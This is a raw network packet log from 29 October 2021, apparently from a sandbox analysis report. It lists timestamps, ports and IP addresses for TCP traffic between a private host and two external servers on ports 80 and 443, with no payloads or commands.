Oct 29, 2021 20:10:40.891665936 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.891668081 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944109917 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944152117 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944180965 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944221973 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944247007 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944263935 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944271088 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944279909 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944297075 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944298983 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944320917 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944351912 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944376945 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944376945 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944401026 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944408894 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944426060 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944448948 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944463015 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944473028 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944499016 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944508076 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944524050 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944545984 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944545984 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944571972 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944592953 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944616079 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944618940 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944642067 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944684029 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944704056 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944732904 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944751024 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944822073 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944886923 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944911003 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944931984 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.944960117 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944967985 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.944984913 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.945044994 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.945069075 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.945091963 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.945112944 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.945113897 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.945137978 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.992166996 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.997680902 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.997728109 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.997761965 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.997797966 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.997800112 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.997834921 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.997842073 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.997869015 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.997904062 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.997937918 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.997947931 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.997972012 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998007059 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998034954 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998040915 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998066902 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998075962 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998111963 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998145103 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998153925 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998179913 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998183966 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998214960 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998248100 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998272896 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998281956 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998317003 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998326063 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998352051 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998390913 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998425007 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998435020 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998459101 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998466015 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998496056 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998528957 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998563051 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998568058 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998598099 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998620033 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998634100 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998682976 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998727083 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998728037 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998764038 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998775959 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998800993 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998827934 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998855114 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:40.998887062 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:40.998918056 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.051275969 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051337957 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051378965 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051423073 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051430941 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.051461935 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051465034 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.051501989 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051541090 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051552057 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.051579952 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051620960 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051659107 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051675081 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.051697969 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051702023 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.051737070 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051774979 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051814079 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051815033 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.051851988 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051858902 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.051892996 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051934004 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051970959 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.051975965 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.052010059 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052014112 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.052048922 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052087069 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052090883 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.052126884 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052165985 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052206039 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052210093 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.052247047 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052284956 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052295923 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.052324057 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052325010 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.052362919 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052401066 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052438974 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052442074 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.052473068 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:41.052484035 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.052525997 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.290570021 CEST	49807	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:10:41.342771053 CEST	80	49807	185.98.87.159	192.168.2.5
Oct 29, 2021 20:10:43.631409883 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:43.631457090 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:43.631544113 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:43.671768904 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:43.671802998 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:43.709861040 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:43.709964037 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:43.714417934 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:43.714448929 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:43.714716911 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:43.758102894 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.353800058 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.390192032 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390305996 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390360117 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390393019 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.390414953 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390466928 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390471935 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.390482903 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390552044 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.390558004 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390604973 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390655041 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.390656948 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390671968 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390728951 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.390731096 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390743971 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390803099 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390805960 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.390815973 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390887976 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.390892982 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390907049 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390963078 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.390966892 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.390975952 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391031027 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391035080 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391045094 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391098976 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391102076 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391113997 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391165972 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391170025 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391182899 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391236067 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391242027 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391283989 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391318083 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391320944 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391333103 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391371965 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391376972 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391421080 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391462088 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391463995 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391478062 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391510010 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391515017 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391560078 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391597033 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391602039 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391609907 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391654015 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391659021 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391710997 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391753912 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391758919 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391766071 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391809940 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391814947 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391860008 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.391912937 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.391917944 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.407272100 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.407349110 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.407365084 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.407418966 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.407749891 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.407831907 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.407872915 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.407880068 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.407903910 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.407922029 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.407927036 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.407972097 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.407982111 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.407988071 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408015013 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408037901 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408096075 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408152103 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408211946 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408260107 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408288002 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408330917 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408339977 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408382893 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408385992 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408400059 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408426046 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408447027 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408483982 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408488989 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408502102 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408518076 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408523083 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408539057 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408550978 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408587933 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408600092 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408610106 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408632040 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408636093 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408646107 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408657074 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408679008 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408680916 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.408689022 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.408720016 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.424994946 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425062895 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425115108 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425116062 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425153971 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425204992 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425209999 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425211906 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425215960 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425226927 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425292969 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425306082 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425338984 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425349951 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425383091 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425399065 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425410986 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425426960 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425441027 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425488949 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425498962 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425513029 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425554037 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425565004 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425579071 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425616026 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425632954 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425637007 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425651073 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425698042 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425704002 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425750971 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425776958 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425792933 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425811052 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425816059 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425869942 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425873041 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425884962 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425920010 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425920010 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425972939 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.425975084 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.425985098 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426033974 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426031113 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426084995 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426085949 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426100969 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426139116 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426153898 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426208019 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426213026 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426224947 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426261902 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426275969 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426327944 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426330090 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426342964 CEST	443	49808	162.159.133.233	192.168.2.5
Oct 29, 2021 20:10:44.426387072 CEST	49808	443	192.168.2.5	162.159.133.233
Oct 29, 2021 20:10:44.426409006 CEST	443	49808	162.159.133.233	192.168.2.5
